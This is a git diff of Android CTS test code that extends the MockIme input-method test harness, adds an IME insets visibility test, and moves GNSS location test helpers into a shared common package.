@@ -288,14 +290,27 @@
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     }
                     case "getDisplayId":
-                        return getSystemService(WindowManager.class)
-                                .getDefaultDisplay().getDisplayId();
+                        return getDisplay().getDisplayId();
                     case "verifyLayoutInflaterContext":
                         return getLayoutInflater().getContext() == this;
                     case "setHeight":
                         final int height = command.getExtras().getInt("height");
                         mView.setHeight(height);
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    case "setInlineSuggestionsExtras":
+                        mInlineSuggestionsExtras = command.getExtras();
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    case "verifyGetDisplay":
+                        Context configContext = createConfigurationContext(new Configuration());
+                        return getDisplay() != null && configContext.getDisplay() != null;
+                    case "verifyGetWindowManager":
+                        configContext = createConfigurationContext(new Configuration());
+                        return getSystemService(WindowManager.class) != null
+                                && configContext.getSystemService(WindowManager.class) != null;
+                    case "verifyGetViewConfiguration":
+                            configContext = createConfigurationContext(new Configuration());
+                            return ViewConfiguration.get(this) != null
+                                    && ViewConfiguration.get(configContext) != null;
                 }
             }
             return ImeEvent.RETURN_VALUE_UNAVAILABLE;
@@ -303,6 +318,9 @@
     }
 
     @Nullable
+    private Bundle mInlineSuggestionsExtras;
+
+    @Nullable
     private CommandReceiver mCommandReceiver;
 
     @Nullable
@@ -362,6 +380,17 @@
         mClientPackageName.set(mSettings.getClientPackageName());
         mImeEventActionName.set(mSettings.getEventCallbackActionName());
 
+        // TODO(b/159593676): consider to detect more violations
+        if (mSettings.isStrictModeEnabled()) {
+            StrictMode.setVmPolicy(
+                    new StrictMode.VmPolicy.Builder()
+                            .detectIncorrectContextUse()
+                            .penaltyLog()
+                            .penaltyListener(Runnable::run,
+                                    v -> getTracer().onStrictModeViolated(() -> {}))
+                            .build());
+        }
+
         getTracer().onCreate(() -> {
             super.onCreate();
             mHandlerThread.start();
@@ -448,7 +477,7 @@
             mLayout.setOrientation(LinearLayout.VERTICAL);
 
             if (mSettings.getInlineSuggestionsEnabled()) {
-                final ScrollView scrollView = new ScrollView(getContext());
+                final HorizontalScrollView scrollView = new HorizontalScrollView(getContext());
                 final LayoutParams scrollViewParams = new LayoutParams(MATCH_PARENT, 100);
                 scrollView.setLayoutParams(scrollViewParams);
 
@@ -730,6 +759,10 @@
         StylesBuilder stylesBuilder = UiVersions.newStylesBuilder();
         stylesBuilder.addStyle(InlineSuggestionUi.newStyleBuilder().build());
         Bundle styles = stylesBuilder.build();
+        if (mInlineSuggestionsExtras != null) {
+            styles.putAll(mInlineSuggestionsExtras);
+        }
+
         return getTracer().onCreateInlineSuggestionsRequest(() -> {
             final ArrayList<InlinePresentationSpec> presentationSpecs = new ArrayList<>();
             presentationSpecs.add(new InlinePresentationSpec.Builder(new Size(100, 100),
@@ -737,13 +770,16 @@
             presentationSpecs.add(new InlinePresentationSpec.Builder(new Size(100, 100),
                     new Size(400, 100)).setStyle(styles).build());
 
-            return new InlineSuggestionsRequest.Builder(presentationSpecs)
-                    .setMaxSuggestionCount(6)
-                    .build();
+            final InlineSuggestionsRequest.Builder builder =
+                    new InlineSuggestionsRequest.Builder(presentationSpecs)
+                            .setMaxSuggestionCount(6);
+            if (mInlineSuggestionsExtras != null) {
+                builder.setExtras(mInlineSuggestionsExtras.deepCopy());
+            }
+            return builder.build();
         });
     }
 
-
     @MainThread
     @Override
     public boolean onInlineSuggestionsResponse(@NonNull InlineSuggestionsResponse response) {
@@ -755,7 +791,9 @@
             }
             mPendingInlineSuggestions = pendingInlineSuggestions;
             if (pendingInlineSuggestions.mTotalCount == 0) {
-                mView.updateInlineSuggestions(pendingInlineSuggestions);
+                if (mView != null) {
+                    mView.updateInlineSuggestions(pendingInlineSuggestions);
+                }
                 return true;
             }
 
@@ -1013,6 +1051,11 @@
             recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
         }
 
+        void onStrictModeViolated(@NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            recordEventInternal("onStrictModeViolated", runnable, arguments);
+        }
+
         InlineSuggestionsRequest onCreateInlineSuggestionsRequest(
                 @NonNull Supplier<InlineSuggestionsRequest> supplier) {
             return recordEventInternal("onCreateInlineSuggestionsRequest", supplier);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 9090648..b495e36 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -21,6 +21,7 @@
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -45,6 +46,7 @@
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.AssumptionViolatedException;
 
@@ -1001,4 +1003,24 @@
         params.putInt("height", height);
         return callCommandInternal("setHeight", params);
     }
+
+    @NonNull
+    public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
+        return callCommandInternal("setInlineSuggestionsExtras", bundle);
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetDisplay() {
+        return callCommandInternal("verifyGetDisplay", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetWindowManager() {
+        return callCommandInternal("verifyGetWindowManager", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetViewConfiguration() {
+        return callCommandInternal("verifyGetViewConfiguration", new Bundle());
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 23e4dd8..722d71b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -562,7 +562,9 @@
             CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText);
             TestUtils.waitOnMainUntil(() -> editTextHasWindowFocus.get()
                     && !popupTextHasWindowFocus.get(), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            // Expect there is no "onStartInput" when window focus back to activity's EditText.
+            // Since the EditText still has view focus and served by InputMethodManager.
+            notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
             expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
         }
     }
@@ -592,8 +594,6 @@
                 layout.addView(editText);
                 return layout;
             });
-            // Wait until the MockIme gets bound to the TestActivity.
-            expectBindInput(stream, Process.myPid(), TIMEOUT);
 
             // Emulate tap event, expect there is no "onStartInput", and "showSoftInput" happened.
             final EditText editText = editTextRef.get();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
new file mode 100644
index 0000000..d104450
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static android.content.Intent.ACTION_CLOSE_SYSTEM_DIALOGS;
+import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
+import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
+import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.graphics.Point;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Pair;
+import android.view.Gravity;
+import android.view.View;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
+import android.view.WindowManager;
+import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.view.inputmethod.cts.util.TestUtils;
+import android.view.inputmethod.cts.util.UnlockScreenRule;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final int NEW_KEYBOARD_HEIGHT = 400;
+
+    private static final String TEST_MARKER_PREFIX =
+            "android.view.inputmethod.cts.ImeInsetsVisibilityTest";
+
+    private static String getTestMarker() {
+        return TEST_MARKER_PREFIX + "/"  + SystemClock.elapsedRealtimeNanos();
+    }
+
+    @Rule
+    public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+
+    @Test
+    public void testImeVisibilityWhenImeFocusableChildPopup() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(false, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(() -> editText.hasFocus(), TIMEOUT);
+            WindowInsetsController controller = editText.getWindowInsetsController();
+
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+
+            final View[] childViewRoot = new View[1];
+            TestUtils.runOnMainSync(() -> {
+                childViewRoot[0] = addChildWindow(activity);
+                childViewRoot[0].setVisibility(View.VISIBLE);
+            });
+            TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
+                    && childViewRoot[0].getVisibility() == View.VISIBLE, TIMEOUT);
+
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
+    @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
+    @Test
+    public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
+        final InputMethodManager imm = InstrumentationRegistry.getInstrumentation().getContext()
+                .getSystemService(InputMethodManager.class);
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInputViewHeight(NEW_KEYBOARD_HEIGHT))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(true, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+            final WindowInsets[] insetsFromActivity = new WindowInsets[1];
+            Point curEditPos = getLocationOnScreenForView(editText);
+
+            TestUtils.runOnMainSync(() -> {
+                activity.getWindow().getDecorView().setOnApplyWindowInsetsListener(
+                        (v, insets) -> insetsFromActivity[0] = insets);
+            });
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event to show soft-keyboard
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(() -> editText.hasFocus(), TIMEOUT);
+
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            Point lastEditTextPos = new Point(curEditPos);
+            curEditPos = getLocationOnScreenForView(editText);
+            assertTrue("Insets should visible and EditText position should be adjusted",
+                    isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
+                            && curEditPos.y < lastEditTextPos.y);
+
+            imm.showInputMethodPicker();
+            TestUtils.waitOnMainUntil(() -> imm.isInputMethodPickerShown() && editText.isLaidOut(),
+                    TIMEOUT, "InputMethod picker should be shown");
+            lastEditTextPos = new Point(curEditPos);
+            curEditPos = getLocationOnScreenForView(editText);
+
+            assertTrue("Insets visibility & EditText position should persist when " +
+                            "the above IME window shown",
+                    isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
+                            && curEditPos.equals(lastEditTextPos));
+
+            InstrumentationRegistry.getInstrumentation().getContext().sendBroadcast(
+                    new Intent(ACTION_CLOSE_SYSTEM_DIALOGS).setFlags(FLAG_RECEIVER_FOREGROUND));
+            TestUtils.waitOnMainUntil(() -> !imm.isInputMethodPickerShown(), TIMEOUT,
+                    "InputMethod picker should be closed");
+        }
+    }
+
+    private boolean isInsetsVisible(WindowInsets winInsets, int type) {
+        if (winInsets == null) {
+            return false;
+        }
+        return winInsets.isVisible(type);
+    }
+
+    private Point getLocationOnScreenForView(View view) {
+        return TestUtils.getOnMainSync(() -> {
+            final int[] tmpPos = new int[2];
+            view.getLocationOnScreen(tmpPos);
+            return new Point(tmpPos[0], tmpPos[1]);
+        });
+    }
+
+    private Pair<EditText, TestActivity> launchTestActivity(boolean useDialogTheme,
+            @NonNull String focusedMarker) {
+        final AtomicReference<EditText> focusedEditTextRef = new AtomicReference<>();
+        final AtomicReference<TestActivity> testActivityRef = new AtomicReference<>();
+
+        TestActivity.startSync(activity -> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+            layout.setGravity(Gravity.BOTTOM);
+            if (useDialogTheme) {
+                // Create a floating Dialog
+                activity.setTheme(android.R.style.Theme_Material_Dialog);
+                TextView textView = new TextView(activity);
+                textView.setText("I'm a TextView");
+                textView.setHeight(activity.getWindowManager().getMaximumWindowMetrics()
+                        .getBounds().height() / 3);
+                layout.addView(textView);
+            }
+
+            final EditText focusedEditText = new EditText(activity);
+            focusedEditText.setHint("focused editText");
+            focusedEditText.setPrivateImeOptions(focusedMarker);
+
+            focusedEditTextRef.set(focusedEditText);
+            testActivityRef.set(activity);
+
+            layout.addView(focusedEditText);
+            return layout;
+        });
+        return new Pair<>(focusedEditTextRef.get(), testActivityRef.get());
+    }
+
+    private View addChildWindow(Activity activity) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final WindowManager wm = context.getSystemService(WindowManager.class);
+        final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+        attrs.token = activity.getWindow().getAttributes().token;
+        attrs.type = TYPE_APPLICATION;
+        attrs.width = 200;
+        attrs.height = 200;
+        attrs.format = PixelFormat.TRANSPARENT;
+        attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
+        attrs.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.statusBars()
+                | WindowInsets.Type.navigationBars());
+        final View childViewRoot = new View(context);
+        childViewRoot.setVisibility(View.GONE);
+        wm.addView(childViewRoot, attrs);
+        return childViewRoot;
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
index b817a2c..3a57360 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
@@ -21,6 +21,7 @@
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
 import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import android.app.Service;
@@ -130,6 +131,12 @@
                 150, 150, pos.x, pos.y,
                 TYPE_APPLICATION_OVERLAY, FLAG_NOT_FOCUSABLE,
                 PixelFormat.OPAQUE);
+        // Currently SOFT_INPUT_STATE_UNSPECIFIED isn't appropriate for CTS test because there is no
+        // clear spec about how it behaves.  In order to make our tests deterministic, currently we
+        // must use SOFT_INPUT_STATE_HIDDEN to make sure soft-keyboard will hide after navigating
+        // forward to next window.
+        // TODO(Bug 77152727): Remove the following code once we define how
+        params.softInputMode = SOFT_INPUT_STATE_HIDDEN;
         wm.addView(editText, params);
         return editText;
     }
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
index 2b24322..4ca35fe 100644
--- a/tests/location/common/Android.bp
+++ b/tests/location/common/Android.bp
@@ -21,5 +21,4 @@
         "compatibility-device-util-axt",
         "android.test.base.stubs",
     ],
-    sdk_version: "test_current",
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java b/tests/location/common/src/android/location/cts/common/GnssTestCase.java
similarity index 88%
rename from tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java
rename to tests/location/common/src/android/location/cts/common/GnssTestCase.java
index 03f824e..6fe711a 100644
--- a/tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java
+++ b/tests/location/common/src/android/location/cts/common/GnssTestCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -31,8 +31,4 @@
 
     protected GnssTestCase() {
     }
-
-    public boolean isCtsVerifierTest() {
-        return false;
-    }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java b/tests/location/common/src/android/location/cts/common/SoftAssert.java
similarity index 98%
rename from tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java
rename to tests/location/common/src/android/location/cts/common/SoftAssert.java
index 76d68f0..bbb4f8b 100644
--- a/tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java
+++ b/tests/location/common/src/android/location/cts/common/SoftAssert.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,10 +16,10 @@
 
 package android.location.cts.common;
 
-import junit.framework.Assert;
-
 import android.util.Log;
 
+import junit.framework.Assert;
+
 import java.util.ArrayList;
 import java.util.List;
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java b/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
similarity index 98%
rename from tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
rename to tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
index 34fe9eb..3f309f9 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
+++ b/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,12 +13,11 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.location.cts.gnss;
+package android.location.cts.common;
 
 import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
-import android.location.cts.common.TestUtils;
 import android.util.Log;
 
 import junit.framework.Assert;
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java b/tests/location/common/src/android/location/cts/common/TestLocationListener.java
similarity index 96%
rename from tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
rename to tests/location/common/src/android/location/cts/common/TestLocationListener.java
index 6252b18..7075e45 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,12 +13,11 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.location.cts.gnss;
+package android.location.cts.common;
 
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
-import android.location.cts.common.TestUtils;
 import android.os.Bundle;
 
 import java.util.ArrayList;
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
similarity index 82%
rename from tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java
rename to tests/location/common/src/android/location/cts/common/TestLocationManager.java
index de13864..bed3793 100644
--- a/tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,9 +19,11 @@
 import android.content.Context;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
+import android.location.GnssRequest;
 import android.location.GnssStatus;
 import android.location.LocationListener;
 import android.location.LocationManager;
+import android.location.LocationRequest;
 import android.os.Handler;
 import android.os.Looper;
 import android.util.Log;
@@ -89,6 +91,45 @@
     }
 
     /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+            GnssRequest request) {
+        Log.i(TAG, "Add Gnss Measurement Callback. enableFullTracking=" + request);
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(request, Runnable::run, callback);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
+     * Request GNSS location updates with {@code LocationRequest#setLowPowerMode()} enabled.
+     *
+     * See {@code LocationManager#requestLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestLowPowerModeGnssLocationUpdates(int minTimeMillis,
+            LocationListener locationListener) {
+        LocationRequest request = LocationRequest.createFromDeprecatedProvider(
+                LocationManager.GPS_PROVIDER, /* minTime= */ minTimeMillis, /* minDistance= */0,
+                false);
+        request.setLowPowerMode(true);
+        if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
+            Log.i(TAG, "Request Location updates.");
+            mLocationManager.requestLocationUpdates(request,
+                    locationListener,
+                    Looper.getMainLooper());
+        }
+    }
+
+    /**
      * See {@link android.location.LocationManager#unregisterGnssMeasurementsCallback
      * (GnssMeasurementsEvent.Callback)}.
      *
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
similarity index 96%
rename from tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java
rename to tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index 282264d..846094c 100644
--- a/tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -22,8 +22,6 @@
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
 import android.location.LocationManager;
-import android.os.Build;
-import android.os.SystemProperties;
 import android.util.Log;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -89,14 +87,17 @@
     /**
      * Check if test can be run on the current device.
      *
+     * @param  androidSdkVersionCode must be from {@link android.os.Build.VERSION_CODES}
      * @param  testLocationManager TestLocationManager
-     * @return true if Build.VERSION &gt;=  Build.VERSION_CODES.N and Location GPS present on
+     * @return true if Build.VERSION &gt;= {@code androidSdkVersionCode} and Location GPS present on
      *         device.
      */
-    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
-            boolean isCtsVerifier) {
-       if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
-            Log.i(TAG, "This test is designed to work on N or newer. " +
+    public static boolean canTestRunOnCurrentDevice(int androidSdkVersionCode,
+            TestLocationManager testLocationManager,
+            String testTag) {
+        if (ApiLevelUtil.isBefore(androidSdkVersionCode)) {
+            Log.i(testTag, "This test is designed to work on API level " +
+                    androidSdkVersionCode + " or newer. " +
                     "Test is being skipped because the platform version is being run in " +
                     ApiLevelUtil.getApiLevel());
             return false;
@@ -104,7 +105,7 @@
 
         // If device does not have a GPS, skip the test.
         if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
-           return false;
+            return false;
         }
 
         // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
@@ -113,14 +114,9 @@
         // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
         boolean gpsProviderEnabled = testLocationManager.getLocationManager()
                 .isProviderEnabled(LocationManager.GPS_PROVIDER);
-        SoftAssert.failOrWarning(isCtsVerifier, " GPS location disabled on the device. " +
-                "Enable location in settings to continue test.", gpsProviderEnabled);
-        // If CTS only, allow an early exit pass
-        if (!isCtsVerifier && !gpsProviderEnabled) {
-            return false;
-        }
-
-        return true;
+        SoftAssert.failOrWarning(true, " GPS location disabled on the device. "
+                + "Enable location in settings to continue test.", gpsProviderEnabled);
+        return gpsProviderEnabled;
     }
 
     /**
@@ -427,6 +423,14 @@
                         String.valueOf(svid),
                         svid >= 1 && svid <= 36);
                 break;
+            case GnssStatus.CONSTELLATION_IRNSS:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_IRNSS",
+                        timeInNs,
+                        "1 <= X <= 14",
+                        String.valueOf(svid),
+                        svid >= 1 && svid <= 14);
+                break;
             default:
                 // Explicit fail if did not receive valid constellation type.
                 softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
similarity index 98%
rename from tests/location/location_gnss/src/android/location/cts/common/TestUtils.java
rename to tests/location/common/src/android/location/cts/common/TestUtils.java
index bcf3f34..75c2b27 100644
--- a/tests/location/location_gnss/src/android/location/cts/common/TestUtils.java
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 Google Inc.
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
